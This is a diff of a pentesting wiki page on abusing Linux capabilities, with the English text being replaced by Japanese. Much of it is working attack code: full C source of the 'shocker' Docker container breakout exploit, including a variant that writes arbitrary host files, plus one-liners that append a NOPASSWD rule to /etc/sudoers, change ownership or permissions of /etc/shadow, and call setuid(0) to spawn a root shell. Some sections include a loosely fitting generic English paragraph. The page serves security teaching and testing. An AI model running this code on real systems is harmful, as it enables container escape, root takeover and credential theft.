+if ((dir = fdopendir(fd)) == NULL) +die("[-] fdopendir"); +for (;;) { +de = readdir(dir); +if (!de) +break; +fprintf(stderr, "[*] Found %s\n", de->d_name); +if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) { +fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino); +ino = de->d_ino; +break; +} +} - fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); - if (de) { - for (uint32_t i = 0; i < 0xffffffff; ++i) { - outh.handle_bytes = 8; - outh.handle_type = 1; - memcpy(outh.f_handle, &ino, sizeof(ino)); - memcpy(outh.f_handle + 4, &i, sizeof(i)); - if ((i % (1<<20)) == 0) - fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i); - if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) { - closedir(dir); - close(fd); - dump_handle(&outh); - return find_handle(bfd, path, &outh, oh); - } - } - } - closedir(dir); - close(fd); - return 0; +fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); +if (de) { +for (uint32_t i = 0; i < 0xffffffff; ++i) { +outh.handle_bytes = 8; +outh.handle_type = 1; +memcpy(outh.f_handle, &ino, sizeof(ino)); +memcpy(outh.f_handle + 4, &i, sizeof(i)); +if ((i % (1<<20)) == 0) +fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i); +if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) { +closedir(dir); +close(fd); +dump_handle(&outh); +return find_handle(bfd, path, &outh, oh); +} +} +} +closedir(dir); +close(fd); +return 0; } int main(int argc,char* argv[] ) { - char buf[0x1000]; - int fd1, fd2; - struct my_file_handle h; - struct my_file_handle root_h = { - .handle_bytes = 8, - .handle_type = 1, - .f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0} - }; - - fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" - "[***] The tea from the 90's kicks your sekurity again. [***]\n" - "[***] If you have pending sec consulting, I'll happily [***]\n" - "[***] forward to my friends who drink secury-tea too! [***]\n\n\n"); - - read(0, buf, 1); - - // get a FS reference from something mounted in from outside - if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) - die("[-] open"); - - if (find_handle(fd1, argv[1], &root_h, &h) <= 0) - die("[-] Cannot find valid handle!"); - - fprintf(stderr, "[!] Got a final handle!\n"); - dump_handle(&h); - - if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0) - die("[-] open_by_handle"); - - memset(buf, 0, sizeof(buf)); - if (read(fd2, buf, sizeof(buf) - 1) < 0) - die("[-] read"); - - printf("Success!!\n"); - - FILE *fptr; - fptr = fopen(argv[2], "w"); - fprintf(fptr,"%s", buf); - fclose(fptr); - - close(fd2); close(fd1); - - return 0; +char buf[0x1000]; +int fd1, fd2; +struct my_file_handle h; +struct my_file_handle root_h = { +.handle_bytes = 8, +.handle_type = 1, +.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0} +}; + +fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" +"[***] The tea from the 90's kicks your sekurity again. [***]\n" +"[***] If you have pending sec consulting, I'll happily [***]\n" +"[***] forward to my friends who drink secury-tea too! [***]\n\n\n"); + +read(0, buf, 1); + +// get a FS reference from something mounted in from outside +if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) +die("[-] open"); + +if (find_handle(fd1, argv[1], &root_h, &h) <= 0) +die("[-] Cannot find valid handle!"); + +fprintf(stderr, "[!] Got a final handle!\n"); +dump_handle(&h); + +if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0) +die("[-] open_by_handle"); + +memset(buf, 0, sizeof(buf)); +if (read(fd2, buf, sizeof(buf) - 1) < 0) +die("[-] read"); + +printf("Success!!\n"); + +FILE *fptr; +fptr = fopen(argv[2], "w"); +fprintf(fptr,"%s", buf); +fclose(fptr); + +close(fd2); close(fd1); + +return 0; } ``` - {% hint style="warning" %} -I exploit needs to find a pointer to something mounted on the host. The original exploit used the file /.dockerinit and this modified version uses /etc/hostname. If the exploit isn't working maybe you need to set a different file. To find a file that is mounted in the host just execute mount command: +エクスプロイトは、ホストにマウントされた何かのポインタを見つける必要があります。元のエクスプロイトでは、ファイル/.dockerinitを使用していましたが、この修正版では/etc/hostnameを使用しています。エクスプロイトが機能しない場合は、異なるファイルを設定する必要があるかもしれません。ホストにマウントされたファイルを見つけるには、mountコマンドを実行してください: {% endhint %} ![](<../../.gitbook/assets/image (407) (1).png>) -**The code of this technique was copied from the laboratory of "Abusing DAC\_READ\_SEARCH Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com) +**このテクニックのコードは、**[**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com)**の「Abusing DAC\_READ\_SEARCH Capability」のラボからコピーされました** ​
-​​​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +​​​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。技術的な知識を促進することを使命としているこの会議は、あらゆる分野の技術とサイバーセキュリティの専門家にとっての活気ある交流の場です。 {% embed url="https://www.rootedcon.com/" %} ## CAP\_DAC\_OVERRIDE -**This mean that you can bypass write permission checks on any file, so you can write any file.** +**これは、任意のファイルの書き込み許可チェックをバイパスできることを意味します。したがって、任意のファイルを書き込むことができます。** -There are a lot of files you can **overwrite to escalate privileges,** [**you can get ideas from here**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges). +特権を昇格させるために上書きできるファイルはたくさんあります。[**ここからアイデアを得ることができます**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges)。 -**Example with binary** - -In this example vim has this capability, so you can modify any file like _passwd_, _sudoers_ or _shadow_: +**バイナリを使用した例** +この例では、vimにこの機能がありますので、_passwd_、_sudoers_、_shadow_などの任意のファイルを変更することができます。 ```bash getcap -r / 2>/dev/null /usr/bin/vim = cap_dac_override+ep vim /etc/sudoers #To overwrite it ``` +**バイナリ2の例** -**Example with binary 2** - -In this example **`python`** binary will have this capability. You could use python to override any file: - +この例では、**`python`** バイナリにこの機能が付与されます。Pythonを使用して、任意のファイルを上書きすることができます。 ```python file=open("/etc/sudoers","a") file.write("yourusername ALL=(ALL) NOPASSWD:ALL") file.close() ``` +**環境とCAP_DAC_READ_SEARCH(Docker脱出)の例** -**Example with environment + CAP\_DAC\_READ\_SEARCH (Docker breakout)** - -You can check the enabled capabilities inside the docker container using: - +次のコマンドを使用して、Dockerコンテナ内で有効な機能を確認できます。 ``` capsh --print Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap Securebits: 00/0x0/1'b0 - secure-noroot: no (unlocked) - secure-no-suid-fixup: no (unlocked) - secure-keep-caps: no (unlocked) +secure-noroot: no (unlocked) +secure-no-suid-fixup: no (unlocked) +secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root) ``` - -First of all read the previous section that [**abuses DAC\_READ\_SEARCH capability to read arbitrary files**](linux-capabilities.md#cap\_dac\_read\_search) of the host and **compile** the exploit.\ -Then, **compile the following version of the shocker exploit** that ill allow you to **write arbitrary files** inside the hosts filesystem: - +まず、ホストの任意のファイルを読み取るために [**DAC\_READ\_SEARCH 機能を悪用する**](linux-capabilities.md#cap\_dac\_read\_search) 前のセクションを読んでください。そして、エクスプロイトを **コンパイル** してください。\ +次に、ホストのファイルシステムに **任意のファイルを書き込むことができる** 以下のバージョンのショッカーエクスプロイトを **コンパイル** してください。 ```c #include #include @@ -1098,182 +1069,180 @@ Then, **compile the following version of the shocker exploit** that ill allow yo #include // gcc shocker_write.c -o shocker_write -// ./shocker_write /etc/passwd passwd +// ./shocker_write /etc/passwd passwd struct my_file_handle { - unsigned int handle_bytes; - int handle_type; - unsigned char f_handle[8]; +unsigned int handle_bytes; +int handle_type; +unsigned char f_handle[8]; }; void die(const char * msg) { - perror(msg); - exit(errno); +perror(msg); +exit(errno); } void dump_handle(const struct my_file_handle * h) { - fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes, - h -> handle_type); - for (int i = 0; i < h -> handle_bytes; ++i) { - fprintf(stderr, "0x%02x", h -> f_handle[i]); - if ((i + 1) % 20 == 0) - fprintf(stderr, "\n"); - if (i < h -> handle_bytes - 1) - fprintf(stderr, ", "); - } - fprintf(stderr, "};\n"); -} +fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes, +h -> handle_type); +for (int i = 0; i < h -> handle_bytes; ++i) { +fprintf(stderr, "0x%02x", h -> f_handle[i]); +if ((i + 1) % 20 == 0) +fprintf(stderr, "\n"); +if (i < h -> handle_bytes - 1) +fprintf(stderr, ", "); +} +fprintf(stderr, "};\n"); +} int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh) { - int fd; - uint32_t ino = 0; - struct my_file_handle outh = { - .handle_bytes = 8, - .handle_type = 1 - }; - DIR * dir = NULL; - struct dirent * de = NULL; - path = strchr(path, '/'); - // recursion stops if path has been resolved - if (!path) { - memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle)); - oh -> handle_type = 1; - oh -> handle_bytes = 8; - return 1; - } - ++path; - fprintf(stderr, "[*] Resolving '%s'\n", path); - if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0) - die("[-] open_by_handle_at"); - if ((dir = fdopendir(fd)) == NULL) - die("[-] fdopendir"); - for (;;) { - de = readdir(dir); - if (!de) - break; - fprintf(stderr, "[*] Found %s\n", de -> d_name); - if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) { - fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino); - ino = de -> d_ino; - break; - } - } - fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); - if (de) { - for (uint32_t i = 0; i < 0xffffffff; ++i) { - outh.handle_bytes = 8; - outh.handle_type = 1; - memcpy(outh.f_handle, & ino, sizeof(ino)); - memcpy(outh.f_handle + 4, & i, sizeof(i)); - if ((i % (1 << 20)) == 0) - fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i); - if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) { - closedir(dir); - close(fd); - dump_handle( & outh); - return find_handle(bfd, path, & outh, oh); - } - } - } - closedir(dir); - close(fd); - return 0; +int fd; +uint32_t ino = 0; +struct my_file_handle outh = { +.handle_bytes = 8, +.handle_type = 1 +}; +DIR * dir = NULL; +struct dirent * de = NULL; +path = strchr(path, '/'); +// recursion stops if path has been resolved +if (!path) { +memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle)); +oh -> handle_type = 1; +oh -> handle_bytes = 8; +return 1; +} +++path; +fprintf(stderr, "[*] Resolving '%s'\n", path); +if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0) +die("[-] open_by_handle_at"); +if ((dir = fdopendir(fd)) == NULL) +die("[-] fdopendir"); +for (;;) { +de = readdir(dir); +if (!de) +break; +fprintf(stderr, "[*] Found %s\n", de -> d_name); +if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) { +fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino); +ino = de -> d_ino; +break; +} +} +fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); +if (de) { +for (uint32_t i = 0; i < 0xffffffff; ++i) { +outh.handle_bytes = 8; +outh.handle_type = 1; +memcpy(outh.f_handle, & ino, sizeof(ino)); +memcpy(outh.f_handle + 4, & i, sizeof(i)); +if ((i % (1 << 20)) == 0) +fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i); +if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) { +closedir(dir); +close(fd); +dump_handle( & outh); +return find_handle(bfd, path, & outh, oh); +} +} +} +closedir(dir); +close(fd); +return 0; } int main(int argc, char * argv[]) { - char buf[0x1000]; - int fd1, fd2; - struct my_file_handle h; - struct my_file_handle root_h = { - .handle_bytes = 8, - .handle_type = 1, - .f_handle = { - 0x02, - 0, - 0, - 0, - 0, - 0, - 0, - 0 - } - }; - fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" - "[***] The tea from the 90's kicks your sekurity again. [***]\n" - "[***] If you have pending sec consulting, I'll happily [***]\n" - "[***] forward to my friends who drink secury-tea too! [***]\n\n\n"); - read(0, buf, 1); - // get a FS reference from something mounted in from outside - if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) - die("[-] open"); - if (find_handle(fd1, argv[1], & root_h, & h) <= 0) - die("[-] Cannot find valid handle!"); - fprintf(stderr, "[!] Got a final handle!\n"); - dump_handle( & h); - if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0) - die("[-] open_by_handle"); - char * line = NULL; - size_t len = 0; - FILE * fptr; - ssize_t read; - fptr = fopen(argv[2], "r"); - while ((read = getline( & line, & len, fptr)) != -1) { - write(fd2, line, read); - } - printf("Success!!\n"); - close(fd2); - close(fd1); - return 0; +char buf[0x1000]; +int fd1, fd2; +struct my_file_handle h; +struct my_file_handle root_h = { +.handle_bytes = 8, +.handle_type = 1, +.f_handle = { +0x02, +0, +0, +0, +0, +0, +0, +0 +} +}; +fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" +"[***] The tea from the 90's kicks your sekurity again. [***]\n" +"[***] If you have pending sec consulting, I'll happily [***]\n" +"[***] forward to my friends who drink secury-tea too! [***]\n\n\n"); +read(0, buf, 1); +// get a FS reference from something mounted in from outside +if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) +die("[-] open"); +if (find_handle(fd1, argv[1], & root_h, & h) <= 0) +die("[-] Cannot find valid handle!"); +fprintf(stderr, "[!] Got a final handle!\n"); +dump_handle( & h); +if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0) +die("[-] open_by_handle"); +char * line = NULL; +size_t len = 0; +FILE * fptr; +ssize_t read; +fptr = fopen(argv[2], "r"); +while ((read = getline( & line, & len, fptr)) != -1) { +write(fd2, line, read); +} +printf("Success!!\n"); +close(fd2); +close(fd1); +return 0; } ``` +Dockerコンテナから脱出するために、ホストから`/etc/shadow`と`/etc/passwd`のファイルを**ダウンロード**し、それらに**新しいユーザー**を**追加**して、**`shocker_write`**を使用して上書きします。その後、**ssh**を介して**アクセス**します。 -In order to scape the docker container you could **download** the files `/etc/shadow` and `/etc/passwd` from the host, **add** to them a **new user**, and use **`shocker_write`** to overwrite them. Then, **access** via **ssh**. - -**The code of this technique was copied from the laboratory of "Abusing DAC\_OVERRIDE Capability" from** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com) +**このテクニックのコードは、**[**https://www.pentesteracademy.com**](https://www.pentesteracademy.com)**の「Abusing DAC\_OVERRIDE Capability」のラボからコピーされました。** ## CAP\_CHOWN -**This means that it's possible to change the ownership of any file.** +**これは、任意のファイルの所有者を変更できることを意味します。** -**Example with binary** - -Lets suppose the **`python`** binary has this capability, you can **change** the **owner** of the **shadow** file, **change root password**, and escalate privileges: +**バイナリの例** +`python`バイナリにこの機能があると仮定すると、**shadow**ファイルの**所有者**を**変更**し、**rootパスワード**を変更して特権を昇格させることができます。 ```bash python -c 'import os;os.chown("/etc/shadow",1000,1000)' ``` - -Or with the **`ruby`** binary having this capability: - +または、**`ruby`** バイナリにこの機能がある場合: ```bash ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")' ``` - ## CAP\_FOWNER -**This means that it's possible to change the permission of any file.** +**これは、任意のファイルのパーミッションを変更することができることを意味します。** -**Example with binary** - -If python has this capability you can modify the permissions of the shadow file, **change root password**, and escalate privileges: +**バイナリの例** +もしPythonがこの機能を持っている場合、shadowファイルのパーミッションを変更し、**rootパスワードを変更**して特権を昇格させることができます。 ```bash python -c 'import os;os.chmod("/etc/shadow",0666) ``` - ### CAP\_SETUID -**This means that it's possible to set the effective user id of the created process.** +**これは、作成されたプロセスの有効なユーザーIDを設定することが可能であることを意味します。** -**Example with binary** - -If python has this **capability**, you can very easily abuse it to escalate privileges to root: +**バイナリを使用した例** +もしPythonがこの**機能**を持っている場合、特権をrootにエスカレーションするために非常に簡単に悪用することができます。 ```python import os os.setuid(0) os.system("/bin/bash") ``` +**別の方法:** -**Another way:** +This technique involves leveraging Linux capabilities to escalate privileges. Linux capabilities are a set of privileges that can be assigned to processes, allowing them to perform specific actions that would normally require root privileges. By exploiting misconfigurations or vulnerabilities in the system, an attacker can gain additional capabilities and elevate their privileges. +To identify processes with elevated capabilities, you can use the `getcap` command. This command lists the capabilities assigned to executable files. By analyzing the output, you can identify potential targets for privilege escalation. + +To exploit this vulnerability, you can create a malicious executable file with the desired capabilities and replace a target executable with your file. When the target process is executed, it will inherit the elevated capabilities, allowing you to perform actions that would normally be restricted. + +To prevent this type of privilege escalation, it is important to regularly review and restrict the capabilities assigned to processes. Additionally, ensure that executable files are only accessible to trusted users and regularly update the system to patch any vulnerabilities that could be exploited. ```python import os import prctl @@ -1282,17 +1251,15 @@ prctl.cap_effective.setuid = True os.setuid(0) os.system("/bin/bash") ``` - ## CAP\_SETGID -**This means that it's possible to set the effective group id of the created process.** +**これは、作成されたプロセスの有効なグループIDを設定することが可能であることを意味します。** -There are a lot of files you can **overwrite to escalate privileges,** [**you can get ideas from here**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges). +特権をエスカレーションするために、上書きできる多くのファイルがあります。[ここからアイデアを得ることができます](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges)。 -**Example with binary** - -In this case you should look for interesting files that a group can read because you can impersonate any group: +**バイナリの例** +この場合、任意のグループになりすますことができるため、グループが読み取ることができる興味深いファイルを探す必要があります。 ```bash #Find every file writable by a group find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null @@ -1301,30 +1268,25 @@ find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null #Find every file readable by a group in /etc with a maxpath of 1 find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null ``` - -Once you have find a file you can abuse (via reading or writing) to escalate privileges you can **get a shell impersonating the interesting group** with: - +一度特定のグループをなりすまして特権を昇格させるために、乱用できるファイルを見つけたら、次の手順でシェルを取得できます。 ```python import os os.setgid(42) os.system("/bin/bash") ``` - -In this case the group shadow was impersonated so you can read the file `/etc/shadow`: - +この場合、shadowグループがなりすまされているため、`/etc/shadow`ファイルを読むことができます。 ```bash cat /etc/shadow ``` - -If **docker** is installed you could **impersonate** the **docker group** and abuse it to communicate with the [**docker socket** and escalate privileges](./#writable-docker-socket). +もし**docker**がインストールされている場合、**dockerグループ**を**なりすまし**、それを悪用して[dockerソケットと特権の昇格](./#writable-docker-socket)を行うことができます。 ## CAP\_SETFCAP -**This means that it's possible to set capabilities on files and processes** +これは、ファイルとプロセスに対して機能を設定することが可能であることを意味します。 -**Example with binary** +**バイナリを使用した例** -If python has this **capability**, you can very easily abuse it to escalate privileges to root: +もしpythonがこの**機能**を持っている場合、簡単に特権を昇格させるために悪用することができます。 {% code title="setcapability.py" %} ```python @@ -1347,24 +1309,21 @@ cap_t = libcap.cap_from_text(cap) status = libcap.cap_set_file(path,cap_t) if(status == 0): - print (cap + " was successfully added to " + path) +print (cap + " was successfully added to " + path) ``` -{% endcode %} - +{% code %} ```bash python setcapability.py /usr/bin/python2.7 ``` - {% hint style="warning" %} -Note that if you set a new capability to the binary with CAP\_SETFCAP, you will lose this cap. +新しい機能をCAP\_SETFCAPでバイナリに設定すると、この機能が失われることに注意してください。 {% endhint %} -Once you have [SETUID capability](linux-capabilities.md#cap\_setuid) you can go to its section to see how to escalate privileges. +[SETUID機能](linux-capabilities.md#cap\_setuid)を持っている場合は、特権を昇格する方法を示すセクションに移動できます。 -**Example with environment (Docker breakout)** - -By default the capability **CAP\_SETFCAP is given to the proccess inside the container in Docker**. You can check that doing something like: +**環境を使用した例(Dockerの脱出)** +デフォルトでは、**Dockerのコンテナ内のプロセスにはCAP\_SETFCAP機能が与えられます**。次のようなことを行って確認できます: ```bash cat /proc/`pidof bash`/status | grep Cap CapInh: 00000000a80425fb @@ -1372,14 +1331,12 @@ CapPrm: 00000000a80425fb CapEff: 00000000a80425fb CapBnd: 00000000a80425fb CapAmb: 0000000000000000 - -apsh --decode=00000000a80425fb + +apsh --decode=00000000a80425fb 0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap ``` - -This capability allow to **give any other capability to binaries**, so we could think about **escaping** from the container **abusing any of the other capability breakouts** mentioned in this page.\ -However, if you try to give for example the capabilities CAP\_SYS\_ADMIN and CAP\_SYS\_PTRACE to the gdb binary, you will find that you can give them, but the **binary won’t be able to execute after this**: - +この機能は、バイナリに他のどの機能でも与えることができるため、このページで言及されている他の機能の脱出を悪用してコンテナから脱出することができます。\ +ただし、例えばgdbバイナリにCAP_SYS_ADMINとCAP_SYS_PTRACEの機能を与えようとすると、それらを与えることはできますが、その後バイナリは実行できなくなります。 ```bash getcap /usr/bin/gdb /usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip @@ -1389,27 +1346,25 @@ setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb /usr/bin/gdb bash: /usr/bin/gdb: Operation not permitted ``` - -After investigating I read this: _Permitted: This is a **limiting superset for the effective capabilities** that the thread may assume. It is also a limiting superset for the capabilities that may be added to the inheri‐table set by a thread that **does not have the CAP\_SETPCAP** capability in its effective set._\ -It looks like the Permitted capabilities limit the ones that can be used.\ -However, Docker also grants the **CAP\_SETPCAP** by default, so you might be able to **set new capabilities inside the inheritables ones**.\ -However, in the documentation of this cap: _CAP\_SETPCAP : \[…] **add any capability from the calling thread’s bounding** set to its inheritable set_.\ -It looks like we can only add to the inheritable set capabilities from the bounding set. Which means that **we cannot put new capabilities like CAP\_SYS\_ADMIN or CAP\_SYS\_PTRACE in the inherit set to escalate privileges**. +調査の結果、次のようなことがわかりました:_Permitted: これはスレッドが仮定できる有効な機能の制限付きスーパーセットです。また、**CAP\_SETPCAP**機能を有効なセットに持たないスレッドによって継承セットに追加される可能性のある機能の制限付きスーパーセットでもあります。_\ +Permitted機能は使用できる機能を制限するようです。\ +ただし、Dockerはデフォルトで**CAP\_SETPCAP**も付与しているため、**継承可能な機能に新しい機能を設定する**ことができるかもしれません。\ +ただし、この機能のドキュメントによると、_CAP\_SETPCAP: \[...\] 呼び出し元スレッドのバウンディングセットから継承セットに任意の機能を追加する_とあります。\ +これによると、継承セットにはCAP\_SYS\_ADMINやCAP\_SYS\_PTRACEのような新しい機能を追加することはできないため、特権の昇格には使用できないようです。 ## CAP\_SYS\_RAWIO -[**CAP\_SYS\_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) provides a number of sensitive operations including access to `/dev/mem`, `/dev/kmem` or `/proc/kcore`, modify `mmap_min_addr`, access `ioperm(2)` and `iopl(2)` system calls, and various disk commands. The `FIBMAP ioctl(2)` is also enabled via this capability, which has caused issues in the [past](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). As per the man page, this also allows the holder to descriptively `perform a range of device-specific operations on other devices`. +[**CAP\_SYS\_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html)は、`/dev/mem`、`/dev/kmem`、または`/proc/kcore`へのアクセス、`mmap_min_addr`の変更、`ioperm(2)`および`iopl(2)`システムコールへのアクセス、およびさまざまなディスクコマンドなど、いくつかの機密操作を提供します。この機能により、[過去に問題が発生した](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html)こともあります。マニュアルページによれば、これによりホルダーは他のデバイス上でデバイス固有の操作を記述的に**実行することも可能**です。 -This can be useful for **privilege escalation** and **Docker breakout.** +これは**特権の昇格**や**Dockerの脱出**に役立つことがあります。 ## CAP\_KILL -**This means that it's possible to kill any process.** +**これは任意のプロセスを終了することが可能であることを意味します。** -**Example with binary** - -Lets suppose the **`python`** binary has this capability. If you could **also modify some service or socket configuration** (or any configuration file related to a service) file, you could backdoor it, and then kill the process related to that service and wait for the new configuration file to be executed with your backdoor. +**バイナリの例** +`python`バイナリにこの機能があると仮定しましょう。もしもあなたが**いくつかのサービスやソケットの設定**(またはサービスに関連する任意の設定ファイル)を変更することができた場合、それをバックドアにすることができ、そのサービスに関連するプロセスを終了し、新しい設定ファイルがあなたのバックドアで実行されるのを待つことができます。 ```python #Use this python code to kill arbitrary processes import os @@ -1417,38 +1372,23 @@ import signal pgid = os.getpgid(341) os.killpg(pgid, signal.SIGKILL) ``` +**killによる特権昇格** -**Privesc with kill** - -If you have kill capabilities and there is a **node program running as root** (or as a different user)you could probably **send** it the **signal SIGUSR1** and make it **open the node debugger** to where you can connect. - +もしkillの権限を持っており、**rootユーザーとして実行されている**(または別のユーザーとして実行されている)**nodeプログラム**がある場合、おそらく**シグナルSIGUSR1**を送信して、**nodeデバッガーを開く**ことができます。 ```bash kill -s SIGUSR1 # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d ``` - -{% content-ref url="electron-cef-chromium-debugger-abuse.md" %} -[electron-cef-chromium-debugger-abuse.md](electron-cef-chromium-debugger-abuse.md) -{% endcontent-ref %} - -​ - -
- -​​​​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - ## CAP\_NET\_BIND\_SERVICE -**This means that it's possible to listen in any port (even in privileged ones).** You cannot escalate privileges directly with this capability. +これは、任意のポート(特権ポートでも)でリッスンすることができることを意味します。この機能では特権を直接エスカレーションすることはできません。 -**Example with binary** +**バイナリの例** -If **`python`** has this capability it will be able to listen on any port and even connect from it to any other port (some services require connections from specific privileges ports) +もし**`python`**がこの機能を持っている場合、任意のポートでリッスンすることができ、他のポートに接続することもできます(一部のサービスは特定の特権ポートからの接続を要求します)。 {% tabs %} -{% tab title="Listen" %} +{% tab title="リッスン" %} ```python import socket s=socket.socket() @@ -1456,12 +1396,10 @@ s.bind(('0.0.0.0', 80)) s.listen(1) conn, addr = s.accept() while True: - output = connection.recv(1024).strip(); - print(output) +output = connection.recv(1024).strip(); +print(output) ``` -{% endtab %} - -{% tab title="Connect" %} +{% tab title="接続" %} ```python import socket s=socket.socket() @@ -1473,25 +1411,22 @@ s.connect(('10.10.10.10',500)) ## CAP\_NET\_RAW -[**CAP\_NET\_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows a process to be able to **create RAW and PACKET socket types** for the available network namespaces. This allows arbitrary packet generation and transmission through the exposed network interfaces. In many cases this interface will be a virtual Ethernet device which may allow for a malicious or **compromised container** to **spoof** **packets** at various network layers. A malicious process or compromised container with this capability may inject into upstream bridge, exploit routing between containers, bypass network access controls, and otherwise tamper with host networking if a firewall is not in place to limit the packet types and contents. Finally, this capability allows the process to bind to any address within the available namespaces. This capability is often retained by privileged containers to allow ping to function by using RAW sockets to create ICMP requests from a container. +[**CAP\_NET\_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html)は、プロセスが利用可能なネットワーク名前空間で**RAWおよびPACKETソケットタイプを作成**できるようにします。これにより、公開されたネットワークインターフェースを介して任意のパケットの生成と送信が可能になります。多くの場合、このインターフェースは仮想イーサネットデバイスであり、悪意のあるまたは**侵害されたコンテナ**がさまざまなネットワークレイヤーで**パケットを偽装**することができます。この能力を持つ悪意のあるプロセスまたは侵害されたコンテナは、ファイアウォールがパケットの種類と内容を制限するための対策がない場合、上流ブリッジに注入したり、コンテナ間のルーティングを悪用したり、ネットワークアクセス制御をバイパスしたり、ホストネットワーキングを改ざんしたりすることができます。最後に、この能力により、プロセスは利用可能な名前空間内の任意のアドレスにバインドすることができます。この能力は、pingがコンテナ内からICMPリクエストを作成するためにRAWソケットを使用するため、特権コンテナによってしばしば保持されます。 -**This means that it's possible to sniff traffic.** You cannot escalate privileges directly with this capability. +**これはトラフィックを嗅覚することが可能であることを意味します。**この能力を直接使用して特権を昇格することはできません。 -**Example with binary** - -If the binary **`tcpdump`** has this capability you will be able to use it to capture network information. +**バイナリの例** +バイナリ**`tcpdump`**がこの能力を持っている場合、ネットワーク情報をキャプチャするために使用することができます。 ```bash getcap -r / 2>/dev/null /usr/sbin/tcpdump = cap_net_raw+ep ``` +注意してください、もし**環境**がこの機能を提供している場合、**`tcpdump`**を使用してトラフィックをスニフィングすることもできます。 -Note that if the **environment** is giving this capability you could also use **`tcpdump`** to sniff traffic. - -**Example with binary 2** - -The following example is **`python2`** code that can be useful to intercept traffic of the "**lo**" (**localhost**) interface. The code is from the lab "_The Basics: CAP-NET\_BIND + NET\_RAW_" from 